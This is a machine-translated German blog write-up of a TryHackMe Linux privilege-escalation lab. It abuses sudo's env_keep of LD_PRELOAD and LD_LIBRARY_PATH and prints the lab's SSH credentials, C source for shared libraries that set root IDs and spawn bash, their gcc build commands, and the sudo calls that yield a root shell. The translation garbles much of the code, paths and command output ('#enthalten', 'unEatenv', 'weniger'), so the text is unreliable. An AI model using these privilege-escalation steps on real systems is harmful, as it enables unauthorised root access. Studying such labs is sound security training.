[TryHackme] Privileg eskalation mit den Umgebungsvariablen LD_PRELOAD und LD_LIBRARY_PATH! Linux privesc schreiben Teil 4

[TryHackme] Privileg eskalation mit den Umgebungsvariablen LD_PRELOAD und LD_LIBRARY_PATH! Linux Privesc Writepu Teil 4

Dieses Mal werden wir versuchen, Privilegien mit den Linux -Umgebungsvariablen "Ld_preload" und "ld_library_path" zu eskalieren.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel ist Teil 4.
Wenn Sie das Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch Berechtigungserhebung mit GTFOBINS

Bitte beachten Sie, dass die Erklärung Spoiler sind.

Empfohlene Nachschlagewerke
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Ipusiron
¥3,850 (Ab 21:11 am 07.08.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, überwacht von: Mantani Nobutaka, Übersetzung: Arai Yu, Übersetzung: Kakara Hirosei, Übersetzung: Murakami Ryo
¥3,520 (Ab 12:26 am 07.09.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Inhaltsverzeichnis

Vorbereitung

Starten Sie zunächst die Zielmaschine und schließen Sie sie an die Zielmaschine an.

Starten der Zielmaschine

Starten Sie zuerst die Zielmaschine.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc bei

Wenn die IP -Adresse so angezeigt wird, ist das Booten in Ordnung.

SSH -Verbindung

Stellen Sie eine Verbindung zu der Zielmaschine her, die Sie mit SSH begonnen haben.
Wie erläutert, ist es in Ordnung, solange Sie mit "Benutzer: password321" eine Verbindung herstellen können.

└─ $ ssh user@10.10.6.35 Die Authentizität von Host '10 .10.6.35 (10.10.6.35) kann nicht festgelegt werden. DSA -Schlüsselfingerabdruck ist SHA256: p2nSSfvyjvk1qe0TSNX5G2H8AAWYRN71JDZ3UEODBMA. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.6.35 '(DSA) in die Liste der bekannten Hosts hinzugefügt. user@10.10.6.35's Passwort: Linux Debian 2.6.32-5-AMD64 #1 SMP TUE 13. Mai 16:34:35 UTC 2014 x86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzte Login: Fr 15. Mai 06:41:23 2020 von 192.168.1.125 Benutzer@Debian: ~ $ sudo -l Matching -Standardeinträge für den Benutzer auf diesem Host: env_reset, env_keep+= ld_preload, env_keep+= ld_library_path

"-Ohostkeyalgoriths =+ssh-rsa" muss hinzugefügt werden

Erhöhung des Privilegs mit Umgebungsvariablen

Die gefährdeten Umgebungsvariablen sind "ld_preload" und "ld_library_path".
Eine kurze Erklärung lautet wie folgt:

  • LD_PRELAD: Wird verwendet, um Bibliotheken vorzuladen. Durch Angeben einer freigegebenen Bibliothek ist es möglich, die freigegebene Bibliothek vor der Ausführung eines Programms zu laden (oder auszuführen).
  • Ld_library_path: Gibt die Liste an, in der die freigegebenen Bibliotheken durchsucht werden. Durch Angeben des Verzeichnisses, in dem sich die Bibliotheksdatei befindet, kann auch dieses Verzeichnis gesucht werden.

Erhöhung des Privilegs mit LD_PRELOAD

Jetzt werde ich versuchen, "ld_preload" zu verwenden, um Root -Privilegien zu erhalten.

Überprüfen Sie zunächst, welche Programme mit Sudo ausgeführt werden können.
Sie können sehen, dass 11 Programme mit Sodu durchgeführt werden können.

user@debian:~$ sudo -l Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH User user may run the following commands on this host: (root) NOPASSWD: /usr/sbin/iftop (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/nano (root) nopasswd:/usr/bin/vim (root) nopasswd:/usr/mAN (root) nopasswd:/usr/bin/awk (root) nopasswd:/usr/bin/weniger (root) nopasswd:/usr/bin/ftp (root) nopasswd. Nopasswd:/usr/sbin/apache2 (root) nopasswd:/bin/mehr

Wir erstellen eine gemeinsame Bibliothek, die im Voraus geladen wird.
Ich denke jedoch, dass es im Voraus "vorlast.c" auf der Zielmaschine geben wird, also werde ich es zusammenstellen.

Es scheint, dass Preload.c ein Programm ist, das einen Systemaufruf ausführt und eine "/bin/bash" -Schell erzeugt.

Benutzer@debian: ~ $ cat /home/user/tools/sudo/preload.c #include<stdio.h> #enthalten<sys/types.h> #enthalten<stdlib.h> void _init () {unEatenv ("ld_preload"); setResuid (0,0,0); System ("/bin/bash -p"); }

Generieren Sie die gemeinsam genutzte Bibliothek aus vorlast.c.

Benutzer@debian: ~ $ gcc -fpic -shared -nostartFiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Sobald Sie es erstellt haben, geben Sie beim Ausführen eines Programms, das mit Sudo ausgeführt werden kann, LD_PRELOAD an und führen Sie es aus.

Benutzer@debian: ~ $ sudo ld_preload =/tmp/preload.so root@debian:/home/user# whoami root

Sie konnten Stammbenutzer werden.

Erhöhung des Privilegs mit LD_LIBRARY_PATH

Als nächstes werden wir auch versuchen, Privilegien mit "ld_library_path" zu eskalieren.

Führen Sie zunächst den Befehl "LDD" auf Apache2 aus, um Abhängigkeiten in freigegebenen Bibliotheken anzuzeigen, um die freigegebenen Bibliotheken zu überprüfen.

user@debian: ~ $ ldd/usr/sbin/apache2 linux-vdso.so.1 => (0x00007ffff84ee8000) libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.3 (0x00007fbai94c5c000)) /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 . (0x00007fba94071000) libt.so.1 => /lib/libt.so.1 (0x00007fba93e69000) libcrypt.1 => /lib/libcrypt.so.1 (0x00007fba93c32000) libdl.2 = (0x00007fba93a2d000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fba93805000) /lib64/ld-linux-x86-64.SO.2 (0x00007fba95119000)))

Es gibt einige Abhängigkeiten, aber diesmal werden wir dieselbe gemeinsame Bibliothek wie "libcrypt.so.1" erstellen und versuchen, sie zu laden.

Lassen Sie uns zunächst eine gemeinsame Bibliothek erstellen.
Der Inhalt von "Library_Path.c" ist wie folgt:
Was Sie tun, unterscheidet sich nicht von zuvor.

Benutzer@debian: ~ $ cat /home/user/tools/sudo/library_path.c #include<stdio.h> #enthalten<stdlib.h> statische void hijack () __attribute __ ((Konstruktor)); void hijack () {unEatenv ("ld_library_path"); setResuid (0,0,0); System ("/bin/bash -p"); }

Erstellen Sie oben eine gemeinsame Bibliothek mit dem Namen "libcrypt.so.1" aus "Library_Path.c".
Der Speicherort ist "/tmp".

Benutzer@debian: ~ $ gcc -o /tmp/libcrypt.so.1 -shared -fpic /home/user/tools/sudo/library_path.c

Geben Sie beim Ausführen von Apache2 mit sudo die früher in ld_library_path gespeicherte "/tmp" an.

Benutzer@debian: ~ $ sudo ld_library_path =/tmp apache2 apache2: /tmp/libcrypt.so.1: Keine Versionsinformationen verfügbar

Ich denke, das hat es Wurzel ermöglicht, Privilegien zu eskalieren!

Zusammenfassung

Dieses Mal habe ich versucht, Privilegien mit den Linux -Umgebungsvariablen "ld_preload" und "ld_library_path" zu eskalieren.
Der Inhalt war, dass Sie durch Erzeugen /Bin /Bash -Shell und mit Sudo die Stammschale erhalten können, aber ich frage mich, ob dies möglich ist. . . Ich war einfach interessiert.

Referenzen und Websites

Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5

Teilen Sie, wenn Sie möchten!

Wer hat diesen Artikel geschrieben

Dies ist ein Blog, in dem ich angefangen habe, Informationssicherheit zu studieren. Als neuer Angestellter würde ich mich freuen, wenn Sie mit einem breiten Herzen schauen könnten.
Es gibt auch Teech Lab, das eine Gelegenheit ist, Programmierspaß zu studieren. Wenn Sie also an der Softwareentwicklung interessiert sind, sollten Sie sich unbedingt ansehen!

Inhaltsverzeichnis